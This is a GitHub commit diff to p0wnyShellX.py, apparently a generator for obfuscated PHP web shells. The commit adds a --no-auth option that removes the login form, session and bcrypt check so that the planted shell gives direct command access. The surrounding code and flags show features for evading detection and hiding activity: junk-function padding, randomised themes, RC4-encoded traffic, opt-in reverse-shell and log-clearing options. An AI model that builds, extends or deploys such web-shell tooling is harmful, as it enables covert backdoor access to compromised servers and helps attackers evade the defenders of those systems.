Skip to content

Commit c51c021

Browse files
franckfermanfranckferman
committed
add --no-auth flag: no session/bcrypt/login form, direct shell access
1 parent a9a030a commit c51c021

1 file changed

Lines changed: 105 additions & 93 deletions

File tree

‎p0wnyShellX.py‎

Lines changed: 105 additions & 93 deletions
Original file line numberDiff line numberDiff line change
@@ -581,7 +581,7 @@ def pick(pool, used, rng):
581581
def build_php_section(n, jv, ids, route_param, routes, session_key_val,
582582
bcrypt_hash, username, junk_before, junk_after,
583583
case_order, theme, ver, rng,
584-
transport, transport_ctx, features):
584+
transport, transport_ctx, features, no_auth=False):
585585
if theme == 'poly':
586586
T = generate_poly_theme(rng)
587587
elif theme == 'none':
@@ -888,6 +888,95 @@ def pdec(param, fallback=None):
888888
title_str = T['app_name']
889889
ver_str = T['version_prefix'] + ver
890890

891+
# ── Auth block (session + login gate, or empty for --no-auth) ──
892+
if no_auth:
893+
auth_block = ""
894+
else:
895+
auth_block = f"""session_start(['cookie_httponly' => true, 'use_strict_mode' => true, 'cookie_samesite' => 'Lax']);
896+
897+
define('{n['sess_const']}', '{session_key_val}');
898+
define('{n['user_const']}', '{username}');
899+
define('{n['hash_const']}', '{bcrypt_hash}');
900+
901+
function {n['is_session']}(): bool {{
902+
return isset($_SESSION[{n['sess_const']}]) && $_SESSION[{n['sess_const']}] === true;
903+
}}
904+
905+
function {n['start_session']}(): void {{
906+
$_SESSION[{n['sess_const']}] = true;
907+
}}
908+
909+
function {n['safe_cmp']}($a, $b): bool {{
910+
return hash_equals($a, $b);
911+
}}
912+
913+
function {n['check_creds']}(string $login, string $password): bool {{
914+
return {n['safe_cmp']}($login, {n['user_const']}) && password_verify($password, {n['hash_const']});
915+
}}
916+
917+
if (!{n['is_session']}()) {{
918+
$__err = false;
919+
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['login'], $_POST['password'])) {{
920+
if ({n['check_creds']}($_POST['login'], $_POST['password'])) {{
921+
{n['start_session']}();
922+
header("Location: " . $_SERVER['PHP_SELF']);
923+
exit;
924+
}} else {{
925+
$__err = true;
926+
usleep(random_int(400000, 700000));
927+
}}
928+
}}
929+
header('Content-Type: text/html; charset=utf-8');
930+
?>
931+
<!DOCTYPE html>
932+
<html>
933+
<head>
934+
<meta charset="UTF-8">
935+
<title><?= htmlspecialchars('{title_str}') ?> - Access</title>
936+
<style>
937+
body {{ background: {T['body_bg']}; color: {T['body_fg']}; font-family: monospace;
938+
display: flex; align-items: center; justify-content: center;
939+
height: 100vh; margin: 0; }}
940+
.auth-form {{ background: {T['form_bg']}; padding: 20px;
941+
border: 1px solid {T['form_border']};
942+
box-shadow: 0 0 12px rgba(0,0,0,.3);
943+
border-radius: 6px; width: 280px; }}
944+
.auth-form input {{ width: 100%; padding: 8px; margin: 10px 0;
945+
background: {T['input_bg']}; border: 1px solid {T['input_border']};
946+
color: {T['input_fg2']}; font-family: monospace;
947+
box-sizing: border-box; }}
948+
.auth-form button {{ padding: 8px 14px; background: {T['btn_bg']};
949+
color: {T['btn_fg']}; font-weight: bold;
950+
border: none; cursor: pointer; width: 100%; }}
951+
.auth-form h3 {{ margin: 0 0 10px; }}
952+
.auth-note {{ font-size: 10px; color: {T['note_fg']}; margin-top: 8px; }}
953+
.auth-error {{ color: {T['error_fg']}; font-size: 11px; margin-top: -6px;
954+
transition: opacity .3s ease-in-out; }}
955+
</style>
956+
<script>
957+
window.addEventListener("DOMContentLoaded", function() {{
958+
var e = document.querySelector('.auth-error');
959+
if (e) setTimeout(function() {{ e.style.opacity = 0; }}, Math.floor(Math.random()*3000)+2000);
960+
}});
961+
</script>
962+
</head>
963+
<body>
964+
<form class="auth-form" method="POST">
965+
<h3>{title_str} {ver_str}</h3>
966+
<input type="text" name="login" placeholder="Username" required autofocus />
967+
<input type="password" name="password" placeholder="Password" required />
968+
<?php if ($__err): ?>
969+
<div class="auth-error">Invalid username or password.</div>
970+
<?php endif; ?>
971+
<button type="submit"><?php echo $__err ? "Retry" : "Access"; ?></button>
972+
<div class="auth-note">Authentication required.</div>
973+
</form>
974+
</body>
975+
</html>
976+
<?php
977+
exit;
978+
}}"""
979+
891980
# ── CSS ──
892981
css = f"""
893982
:root {{
@@ -1123,90 +1212,7 @@ def pdec(param, fallback=None):
11231212
11241213
{junk_after_str}
11251214
1126-
session_start(['cookie_httponly' => true, 'use_strict_mode' => true, 'cookie_samesite' => 'Lax']);
1127-
1128-
define('{n['sess_const']}', '{session_key_val}');
1129-
define('{n['user_const']}', '{username}');
1130-
define('{n['hash_const']}', '{bcrypt_hash}');
1131-
1132-
function {n['is_session']}(): bool {{
1133-
return isset($_SESSION[{n['sess_const']}]) && $_SESSION[{n['sess_const']}] === true;
1134-
}}
1135-
1136-
function {n['start_session']}(): void {{
1137-
$_SESSION[{n['sess_const']}] = true;
1138-
}}
1139-
1140-
function {n['safe_cmp']}($a, $b): bool {{
1141-
return hash_equals($a, $b);
1142-
}}
1143-
1144-
function {n['check_creds']}(string $login, string $password): bool {{
1145-
return {n['safe_cmp']}($login, {n['user_const']}) && password_verify($password, {n['hash_const']});
1146-
}}
1147-
1148-
if (!{n['is_session']}()) {{
1149-
$__err = false;
1150-
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['login'], $_POST['password'])) {{
1151-
if ({n['check_creds']}($_POST['login'], $_POST['password'])) {{
1152-
{n['start_session']}();
1153-
header("Location: " . $_SERVER['PHP_SELF']);
1154-
exit;
1155-
}} else {{
1156-
$__err = true;
1157-
usleep(random_int(400000, 700000));
1158-
}}
1159-
}}
1160-
header('Content-Type: text/html; charset=utf-8');
1161-
?>
1162-
<!DOCTYPE html>
1163-
<html>
1164-
<head>
1165-
<meta charset="UTF-8">
1166-
<title><?= htmlspecialchars('{title_str}') ?> - Access</title>
1167-
<style>
1168-
body {{ background: {T['body_bg']}; color: {T['body_fg']}; font-family: monospace;
1169-
display: flex; align-items: center; justify-content: center;
1170-
height: 100vh; margin: 0; }}
1171-
.auth-form {{ background: {T['form_bg']}; padding: 20px;
1172-
border: 1px solid {T['form_border']};
1173-
box-shadow: 0 0 12px rgba(0,0,0,.3);
1174-
border-radius: 6px; width: 280px; }}
1175-
.auth-form input {{ width: 100%; padding: 8px; margin: 10px 0;
1176-
background: {T['input_bg']}; border: 1px solid {T['input_border']};
1177-
color: {T['input_fg2']}; font-family: monospace;
1178-
box-sizing: border-box; }}
1179-
.auth-form button {{ padding: 8px 14px; background: {T['btn_bg']};
1180-
color: {T['btn_fg']}; font-weight: bold;
1181-
border: none; cursor: pointer; width: 100%; }}
1182-
.auth-form h3 {{ margin: 0 0 10px; }}
1183-
.auth-note {{ font-size: 10px; color: {T['note_fg']}; margin-top: 8px; }}
1184-
.auth-error {{ color: {T['error_fg']}; font-size: 11px; margin-top: -6px;
1185-
transition: opacity .3s ease-in-out; }}
1186-
</style>
1187-
<script>
1188-
window.addEventListener("DOMContentLoaded", function() {{
1189-
var e = document.querySelector('.auth-error');
1190-
if (e) setTimeout(function() {{ e.style.opacity = 0; }}, Math.floor(Math.random()*3000)+2000);
1191-
}});
1192-
</script>
1193-
</head>
1194-
<body>
1195-
<form class="auth-form" method="POST">
1196-
<h3>{title_str} {ver_str}</h3>
1197-
<input type="text" name="login" placeholder="Username" required autofocus />
1198-
<input type="password" name="password" placeholder="Password" required />
1199-
<?php if ($__err): ?>
1200-
<div class="auth-error">Invalid username or password.</div>
1201-
<?php endif; ?>
1202-
<button type="submit"><?php echo $__err ? "Retry" : "Access"; ?></button>
1203-
<div class="auth-note">Authentication required.</div>
1204-
</form>
1205-
</body>
1206-
</html>
1207-
<?php
1208-
exit;
1209-
}}
1215+
{auth_block}
12101216
12111217
{php_transport_inject}
12121218
if (isset($_GET['{route_param}'])) {{
@@ -1553,14 +1559,17 @@ def generate(args):
15531559
}
15541560
session_key_val = rnd_token(rng, 14)
15551561

1556-
# bcrypt hash via PHP subprocess
1557-
print(f"[*] Computing bcrypt hash (cost=12)...", end=' ', flush=True)
1558-
bcrypt_hash = compute_bcrypt_hash(args.password, seed=args.seed)
1559-
if bcrypt_hash:
1560-
print(f"OK ({bcrypt_hash[:20]}...)")
1562+
# bcrypt hash via PHP subprocess (skipped in --no-auth mode)
1563+
if args.no_auth:
1564+
bcrypt_hash = ''
15611565
else:
1562-
bcrypt_hash = args.password.encode().hex()
1563-
print("FALLBACK hex (php not found)")
1566+
print(f"[*] Computing bcrypt hash (cost=12)...", end=' ', flush=True)
1567+
bcrypt_hash = compute_bcrypt_hash(args.password, seed=args.seed)
1568+
if bcrypt_hash:
1569+
print(f"OK ({bcrypt_hash[:20]}...)")
1570+
else:
1571+
bcrypt_hash = args.password.encode().hex()
1572+
print("FALLBACK hex (php not found)")
15641573

15651574
used_php = set()
15661575
# PHP core names
@@ -1633,7 +1642,8 @@ def generate(args):
16331642
n, jv, ids, route_param, routes, session_key_val,
16341643
bcrypt_hash, args.user, junk_before, junk_after,
16351644
case_order, theme, ver, rng,
1636-
args.transport, transport_ctx, features
1645+
args.transport, transport_ctx, features,
1646+
no_auth=args.no_auth,
16371647
)
16381648

16391649
# ─────────────────────────────────────────────────────────────────────────────
@@ -1672,6 +1682,8 @@ def main():
16721682
help='Disable junk function generation')
16731683
parser.add_argument('--transport', choices=['plain','mimic','rc4'], default='plain',
16741684
help='AJAX traffic encoding — plain: no encoding (default); mimic: standard base64 with random param names; rc4: RC4 + per-build shuffled base64 alphabet')
1685+
parser.add_argument('--no-auth', action='store_true', default=False,
1686+
help='Generate shell without authentication (no login form, no session, no bcrypt — direct access)')
16751687
parser.add_argument('--revshell', action='store_true', default=False,
16761688
help='Compile revshell command into the shell (opt-in; not included by default)')
16771689
parser.add_argument('--clearlog', action='store_true', default=False,

0 commit comments

Comments
 (0)